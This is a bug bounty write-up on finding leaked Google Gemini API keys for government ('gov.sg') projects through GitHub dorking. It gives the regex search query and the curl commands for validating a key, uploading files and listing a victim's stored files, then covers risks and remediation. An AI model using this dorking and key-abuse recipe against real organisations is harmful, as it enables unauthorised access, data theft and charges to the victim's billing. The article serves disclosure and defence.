Google API Key Exposure: Risks, Discovery, and Impact

Danger: Exposure of your Google Gemini API keys — Analysis and Risks

Hello! I am ATTER Koffi Kallern, passionate about Bug Bounty and web penetration testing. In this article, I want to share a concrete experience from my reconnaissance phases. We'll see together how a simple configuration error can lead to the exposure of a Google Gemini API key and, more importantly, what the real impact of such a vulnerability is for an organization.

The technique: The "GitHub Dorking"

To carry out this research, I went to GitHub to use a technique called GitHub Dorking. This is a powerful method used by security researchers to search public repositories for leaks of sensitive data (plaintext passwords, access tokens, API keys, etc.).

Specifically, I used advanced search queries, such as: "gov.sg" /AIza[0–9A-Za-z_-]{35}/ . This query filters the source code to target only the "gov.sg" domain and identifies, using a regular expression, the specific format of Google API keys (which always begin with AIza followed by 35 characters). This is how I was able to isolate the files where keys had been inadvertently exposed.

The crucial step: Testing the validity of the API keys

Once these keys have been identified on GitHub, it is not enough to list them; it is essential to test their actual validity to confirm the exposure.

Why is this step necessary?

Simply finding a string that resembles a key does not prove that it is active. It may have been revoked by the developer, be restricted by an IP address, or lack the necessary permissions to access Gemini.

How to perform the test?

The most direct method is to use command-line tools like curl. This allows you to send authenticated HTTP requests to the Google API to see if the server accepts the key.

curl "https://generativelanguage.googleapis.com/v1beta/models?key=YOUR_API_KEY"

curl "https://generativelanguage.googleapis.com/v1beta/models?key=YOUR_API_KEY"

With that, the key is indeed active.

Demonstration of the Impact: File Upload

The most blatant evidence of the danger posed by this exposed key is its ability to allow an attacker to write data to the victim's Google Cloud project. This means they can upload arbitrary files, consuming the target's storage and bandwidth, or worse, using its legitimate infrastructure to host malicious content.

The attacker starts by creating their file; for the test, we will create a text file :

echo "You are vulnerable" > payload.txt

echo "You are vulnerable" > payload.txt

Now the attacker sends it via the Gemini file API (/v1beta/files) using the compromised key:

curl -i \
  -H "X-Goog-Upload-Protocol: multipart" \
  -F 'metadata={"file":{"display_name":"hackus_man","mimeType":"text/html"}};type=application/json' \
  -F "file=@payload.txt;type=text/plain" \
  "https://generativelanguage.googleapis.com/upload/v1beta/files?key=YOUR_API_KEY"

curl -i \
  -H "X-Goog-Upload-Protocol: multipart" \
  -F 'metadata={"file":{"display_name":"hackus_man","mimeType":"text/html"}};type=application/json' \
  -F "file=@payload.txt;type=text/plain" \
  "https://generativelanguage.googleapis.com/upload/v1beta/files?key=YOUR_API_KEY"

Enumeration and exfiltration: "List existing files"

The ability to write is just the tip of the iceberg. The impact becomes critical when the attacker can list the files already present on the account. This allows them to identify sensitive data (internal documents, reports, knowledge bases) that the organization may have uploaded for processing by Gemini.

curl "https://generativelanguage.googleapis.com/v1beta/files?key=YOUR_API_KEY"
{
  "files": [
    {
      "name": "files/icqi4sdqid4f",
      "displayName": "hackus_man",
      ...
    }
  ]
}

curl "https://generativelanguage.googleapis.com/v1beta/files?key=YOUR_API_KEY"
{
  "files": [
    {
      "name": "files/icqi4sdqid4f",
      "displayName": "hackus_man",
      ...
    }
  ]
}

Risk

• Financial risk: If the Google Cloud project linked to this key has billing enabled, an attacker can incur significant costs (model calls, storage, image/video generation via Imagen/Veo).
• Confidentiality risk: Any file uploaded with this key (past or future) can be listed and downloaded. Personal or sensitive data could be exposed.
• Integrity risk: An attacker could modify or delete files, or inject malicious content (e.g., phishing scripts).
• Reputational risk: A publicly exposed and easily exploitable secret undermines citizens' trust in the government's security practices.

Remediation

1. Revoke the compromised API key immediately in the Google Cloud Console.
2. Audit the logs of this key to detect any past abnormal activity.
3. Clean the GitHub repository: delete the file containing the key and purge the history (git filter-branch / BFG Repo-Cleaner).
4. Deploy secret scanning tools (truffleHog, gitleaks) in the CI/CD pipeline to prevent any new commit containing a secret.
5. Change the architecture: never call the Gemini API directly from the front-end. Create a backend proxy that will relay requests with a server-side secured key.
6. Train developers on secure secret management (environment variables, vaults).

When the scope decides the value

It is frustrating to note that, despite the potential impact, the vulnerability was not taken into account because it was located in a part of the perimeter considered to be outside the scope of the program.

But there's no question of getting discouraged. Onward to new discoveries: each day brings its share of learning, and our mistakes become our best allies.